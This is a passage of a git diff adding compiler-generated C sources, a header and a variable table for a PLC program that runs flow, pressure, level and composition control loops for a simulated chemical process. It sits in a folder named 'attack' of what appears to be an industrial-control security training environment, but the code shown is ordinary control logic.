PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; 